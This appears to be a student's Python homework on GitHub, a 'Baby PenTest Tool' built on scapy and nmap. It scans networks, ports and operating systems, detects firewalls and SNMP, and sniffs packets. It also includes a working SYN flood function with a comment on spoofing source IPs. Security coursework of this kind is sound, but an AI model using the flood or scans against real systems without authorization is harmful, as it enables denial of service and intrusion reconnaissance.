-
Notifications
You must be signed in to change notification settings - Fork 0
/
mert_arikan_hw2.py
448 lines (387 loc) · 18.3 KB
/
mert_arikan_hw2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
#!/usr/bin/python3.5
from scapy.all import *
import time
import nmap
import random
import os
def icmp_ping(local=True):
if local:
finput = int(input("Enter an IP range on local network for ICMP Ping (192.168.<your_input>.<your_input>): "))
for ip in range(0,finput):
for jp in range(0,finput):
pkt = IP(dst="192.168.{0}.{1}".format(str(ip),str(jp)), ttl=42)/ICMP()
try:
reply = sr1(pkt, timeout=2)
time.sleep(0.5)
reply.show()
print(reply.src, "is online")
f = open("icmp.dat","a+")
f.write("%s\n"%(reply.src))
f.close()
except AttributeError:
print("%s is not online \n" % pkt[IP].dst)
except:
print("%s is not online or there is an error!\n" % pkt[IP].dst)
return 1
else:
print("Using icmp_ping_addr function to ping specific address...")
ping_addr = input("Please enter IP address: ")
return icmp_ping_addr(ping_addr)
def icmp_ping_addr(ip_addr):
pkt = IP(dst=ip_addr, ttl=51)/ICMP()
reply = sr1(pkt, timeout=2)
time.sleep(0.5)
try:
print(reply.src, "is online")
f = open("icmp.dat","a+")
f.write("%s\n"%(reply.src))
f.close()
return 1
except AttributeError:
print("%s is not online \n" % pkt[IP].dst)
return 0
except:
print("%s is not online or there is an error!\n" % pkt[IP].dst)
return 0
def port_identification():
try:
with open("icmp.dat","r") as ls:
icmp_list = ls.readlines()
for i in range(0,len(icmp_list)):
#replace new-line escape character and space due to adding of it while nmap searching
icmp_list[i] = icmp_list[i].replace("\n","")
icmp_list[i] = icmp_list[i].replace(" ","")
if len(icmp_list) == 0:
print("There is no file! Please do an icmp ping,first.\n")
return 0
open_hosts = []
nm = nmap.PortScanner()
for i in range(0,len(icmp_list)):
host = icmp_list[i]
if icmp_ping_addr(host) == 1:
open_hosts.append(host)
if len(open_hosts) == 0:
print("No host up! Exiting...\n")
return 0
for i in range(0,len(open_hosts)):
fi = open("ports.dat","a+")
fi.write("IP: %s\n"%(open_hosts[i]))
nm.scan(open_hosts[i],arguments="-d -d")
for proto in nm[open_hosts[i]].all_protocols():
fi.write("PROTOCOL: {0}\n".format(proto))
lport = nm[open_hosts[i]][proto].keys()
for port in lport:
# python-nmap.PortScanner returns result as dictionary
fi.write("Port : %s State : %s Service : %s\n" % (port, nm[open_hosts[i]][proto][port]['state'],nm[open_hosts[i]][proto][port]['name']))
fi.write("END\n\n")
fi.close()
return 1
except:
return 0
def open_port_identification():
try:
with open("ports.dat") as fport:
flport = fport.readlines()
if len(flport) == 0:
print("There is no port file! Exiting...")
return 0
open_hosts = []
open_port_file = open("open_ports.dat","w+")
nm = nmap.PortScanner()
for i in range(0,len(flport)):
#replace new-line escape character and space due to adding of it while nmap searching
flport[i] = flport[i].replace("\n","")
flport[i] = flport[i].replace(" ","")
for i in range(0,len(flport)):
host = flport[i]
if len(host) != 0:
if host[0] == "I":
if icmp_ping_addr(host[3:]) == 1:
open_hosts.append(host[3:])
else:
continue
if len(open_hosts) == 0:
print("No host is up! Exiting...")
return 0
for i in range(0,len(open_hosts)):
nm.scan(open_hosts[i])
open_port_file.write("IP: %s\n"%(open_hosts[i]))
for proto in nm[open_hosts[i]].all_protocols():
open_port_file.write("PROTOCOL: %s\n"%(proto))
lport = nm[open_hosts[i]][proto].keys()
for port in lport:
# python-nmap.PortScanner returns result as dictionary
open_port_file.write("Port : %s State : %s Service : %s\n" % (port, nm[open_hosts[i]][proto][port]['state'],nm[open_hosts[i]][proto][port]['name']))
open_port_file.close()
return 1
except:
return 0
def identify_os():
"""
This function is using nmap to get a result of guessed OS and show its accuracy.
"""
try:
# Read open_ports file
with open("open_ports.dat","r") as f:
fi = f.readlines()
for i in range(0,len(fi)):
fi[i] = fi[i].replace("\n","")
hosts = []
# Parse IP addresses from that file
for i in range(0,len(fi)):
temp = fi[i]
if temp[0] == "I":
hosts.append(temp[4:])
nm = nmap.PortScanner()
for host in hosts:
# Scan with nmap (nmap -0 <host>)
nm.scan(host,arguments="-O")
# python-nmap.PortScanner returns result as dictionary
print("IP: {0}\tOS: {1} {2}\tAccuracy: {3}%\n".format(host,nm[host]["osmatch"][0]["osclass"][0]["osfamily"],nm[host]["osmatch"][0]["osclass"][0]["osgen"],nm[host]["osmatch"][0]["accuracy"]))
return 1
except:
return 0
def firewallAndRouterDetection():
"""
Firewall detection exploits not getting a response as a way of detecting if there is a firewall filtering for a given port.
Router detection detects router of a local network with the knowledge that if a node send a packet with (time-to-live = 0),it will be notified
from router with an ICMP response.
"""
try:
nm = nmap.PortScanner()
wall_file = open("wall.dat","a+")
print("Router of a local network is being detected...")
# Packet is crafted with ttl set to 0
packet = sr1(IP(dst="www.google.com", ttl = 0)/ICMP())
# Router respond to this packet. Now, we have the IP of router on our local network.
router_addr = packet.src
print("Router Address is {0}".format(router_addr))
# Scan router for its open ports with nmap.
nm.scan(router_addr)
wall_file.write("==>IP OF ROUTER FOR LOCAL NETWORK OF {0}:{1}<==\n".format(packet.dst,router_addr))
wall_file.write("BEGIN\n")
for proto in nm[router_addr].all_protocols():
lport = nm[router_addr][proto].keys()
for port in lport:
# Write each ports,their services and their state to wall.dat
wall_file.write("Port : %s State : %s Service : %s\n" % (port, nm[router_addr][proto][port]['state'],nm[router_addr][proto][port]['name']))
wall_file.write("END\n")
print("This function also detects if there is a stateful firewall which drops packets for specific port on an address or not and gives details about the port if there is no filtering. You can give target as router from previous scan.")
ip_addr = input("Please enter an address to scan for firewall: ")
destport = input("If you want to give a specific range for a port scan,please enter it or press ENTER:")
if destport != "":
destport = "-p{0}".format(destport)
wall_file.write("==>IP OF TARGET:{0}<==\n".format(ip_addr))
wall_file.write("BEGIN\n")
nm.scan(ip_addr,arguments="-d -d -sA {0}".format(destport))
lport = nm[ip_addr]["tcp"].keys()
for port in lport:
if nm[ip_addr]["tcp"][port]["state"] == "filtered":
print("Possible firewall rule for tcp port {}".format(port))
# Write filtered port of <target> to wall.dat
wall_file.write("Possible firewall rule for tcp port {}\n".format(port))
else:
# Write each ports,their services and their state to wall.dat
wall_file.write("Port : %s State : %s Service : %s\n" % (port, nm[ip_addr]["tcp"][port]['state'],nm[ip_addr]["tcp"][port]['name']))
wall_file.write("END\n")
wall_file.close()
return 1
except:
return 0
def webServerDetection():
"""
webServerDetection works like this:
-First, program asks user to give IP addresses of web servers ten times.
-Then,it scans them via nmap.
-It writes details of each web server to a file called web.dat
"""
web = []
try:
# Take 10 input from user
for i in range(0,10):
inp = str(input("Please enter {0}. web-server address to scan:".format(str(i))))
print("[*]{0} is appended...".format(inp))
web.append(inp)
web_file = open("web.dat","a+")
nm = nmap.PortScanner()
for i in range(0,10):
print("{0} is being scanned now...".format(web[i]))
#Scan queued web server
nm.scan(web[i])
if nm.all_hosts() == []:
print("{0} is offline or wrong address!".format(web[i]))
else:
web_file.write("IP: %s \n"%(web[i]))
web_file.write("BEGIN\n")
for proto in nm["".join(nm.all_hosts())].all_protocols():
web_file.write("PROTOCOL: %s\n" % proto)
lport = nm["".join(nm.all_hosts())][proto].keys()
for port in lport:
## Write each ports,their services and their state to web.dat
web_file.write("Port : %s State : %s Service : %s\n" % (port, nm["".join(nm.all_hosts())][proto][port]['state'],nm["".join(nm.all_hosts())][proto][port]['name']))
web_file.write("END\n")
web_file.close()
return 1
except:
return 0
def snmpDetection(single_addr):
"""
Simple Network Management Protocol is a protocol that is used to manage networks. It has a lot of privileges on a network and listens on 161
and 162 ports. So that, this functions checks if it is listening on port 161.
"""
nm = nmap.PortScanner()
if single_addr == False:
finput = int(input("Enter an IP range on local network for SNMP scan (192.168.<your_input>.<your_input>): "))
snmp_file = open("snmp.dat","a+")
try:
for ip in range(0,finput):
for jp in range(0,finput):
nm.scan("192.168.{0}.{1}".format(ip,jp),arguments="-p161-162")
if nm.all_hosts() != []:
# python-nmap.PortScanner returns result as dictionary
if nm["192.168.{0}.{1}".format(ip,jp)]["tcp"][161]["state"] == "closed":
print("{0} has no SNMP!".format("192.168.{0}.{1}".format(ip,jp)))
else:
print("{0} has SNMP! Scanning it now...".format("192.168.{0}.{1}".format(ip,jp)))
snmp_file.write("IP: 192.168.{0}.{1}\n".format(ip,jp))
nm.scan("192.168.{0}.{1}".format(ip,jp))
for proto in nm["192.168.{0}.{1}".format(ip,jp)].all_protocols():
fi.write("PROTOCOL: %s\n" % proto)
lport = nm["192.168.{0}.{1}".format(ip,jp)][proto].keys()
for port in lport:
snmp_file.write("Port : %s State : %s Service : %s\n" % (port, nm["192.168.{0}.{1}".format(ip,jp)][proto][port]['state'],nm["192.168.{0}.{1}".format(ip,jp)][proto][port]['name']))
snmp_file.write("END\n")
else:
print("Host is not live!")
continue
snmp_file.close()
except:
return 0
elif single_addr:
finput = input("Please enter ip address: ")
snmp_file = open("snmp.dat","a+")
try:
nm.scan(finput,arguments="-p161-162")
if nm.all_hosts() != []:
# python-nmap.PortScanner returns result as dictionary
if nm[finput]["tcp"][161]["state"] == "closed" or nm[finput]["tcp"][161]["state"] == "closed|filtered":
print("{0} has no SNMP!".format(finput))
return 0
else:
print("{0} has SNMP! Scanning it now...".format(finput))
snmp_file.write("IP: {0}\n".format(finput))
nm.scan(finput,arguments="-sU -sT")
for proto in nm[finput].all_protocols():
snmp_file.write("PROTOCOL: %s\n" % proto)
lport = nm[finput][proto].keys()
for port in lport:
## Write each ports,their services and their state to snmp.dat
snmp_file.write("Port : %s State : %s Service : %s\n" % (port, nm[finput][proto][port]['state'],nm[finput][proto][port]['name']))
snmp_file.write("END\n")
snmp_file.close()
return 1
else:
print("Host is not live!")
return 0
except:
return 0
def SYN_flood():
"""
This function lets you attack on a target without spoofing of source IP address due to observing packets with wireshark.
First, user give bunch of inputs about target when asked. Later, the program crafts TCP/IP packets with SYN flag set on TCP Header in a loop
until highest port reached.
"""
target = str(input("Enter IP address of target: "))
lowest_port_range = int(input("Enter lowest port number for flooding: "))
highest_port_range = int(input("Enter highest port number for flooding: "))
counter = int(input("Enter how many times each packet will be sent: "))
try:
for desport in range(lowest_port_range,highest_port_range+1):
pkt = IP(dst=target,ttl=51)/TCP(sport=42,dport=desport,flags="S") # src=".".join(str(random.randint(0,255)) for i in range(4)) for IP Spoofing. Cannot observe packets on WireShark when IP is spoofed.
send(pkt,count=counter)
return 1
except:
return 0
def m_sniff():
"""
m_sniff function basically do sniffing via given filter if any given. Filter must be written with Berkeley Packet Filter syntax.
"""
# Packet Handling Nested Callback Function
def packet_handle(pkt):
try:
print(pkt.summary())
print("===> PACKET DETAILS <===")
print(pkt.show())
print("===> END OF PACKET DETAILS <===")
print("Press Ctrl-C if you want to stop!")
except:
return 0
filter_input = input("Apply a filter if you want or just press ENTER. Program uses Berkeley Packet Filter syntax:")
try:
if filter_input == "":
sniff(prn=packet_handle)
else:
sniff(filter=filter_input,prn=packet_handle)
return 1
except:
return 0
def m_show():
# All possible file names for tasks
filenames = ["icmp.dat","ports.dat","open_ports.dat","wall.dat","web.dat","snmp.dat"]
try:
for item in os.listdir():
if filenames.count(item):
select = input("{0} is found! Do you want to see its content? [yes/no]: ".format(item))
if select.lower() == "yes":
with open(item) as f:
print("".join(f.readlines()))
return 1
except:
return 0
def m_main():
# Dictionary for options to simulate switch-case from C/C++
options = {0:icmp_ping,1:port_identification,2:open_port_identification,3:identify_os,4:firewallAndRouterDetection,5:webServerDetection,6:snmpDetection
,7:SYN_flood,8:m_show,9:m_sniff}
print("Welcome to the Baby PenTest Tool created by Mert Arıkan!")
print("\t[0] ICMP Ping on a Local Network or a specific single address")
print("\t[1] Port Identification (run ICMP Ping first)")
print("\t[2] Open Port Identification (run Port Identification first)")
print("\t[3] Guess OSes of Live Hosts from Open Port Identification (run Open Port Identification first)")
print("\t[4] Firewall and Router Detection")
print("\t[5] Web Server Detection")
print("\t[6] SNMP Detection (on local network or single IP address)")
print("\t[7] SYN Flood on an IP address")
print("\t[8] Show content(s) of created files so far")
print("\t[9] Sniff")
select = int(input("> "))
try:
if select == 0:
icmp_bool = input("Do you want to ping local network(enter 0) or just single ip address(enter 1)[0/1]:")
if icmp_bool == 0:
result = icmp_ping()
if result == 0:
print("Something goes wrong!")
else:
result = icmp_ping(False)
if result == 0:
print("Something goes wrong!")
elif select == 6:
snmp_bool = int(input("Do you want to detect snmp on local network(enter 0) or just on single ip address(enter 1)[0/1]:"))
if snmp_bool == 0:
result = snmpDetection(False)
if result == 0:
print("Something goes wrong!")
else:
result = snmpDetection(True)
if result == 0:
print("Something goes wrong!")
else:
result = options[select]()
# result will return 0 if the operation could not be accomplished
if result == 0:
print("Something goes wrong!")
except:
print("Please only select one of the numbers below!")
while 1:
# Start Command Line User Interface
m_main()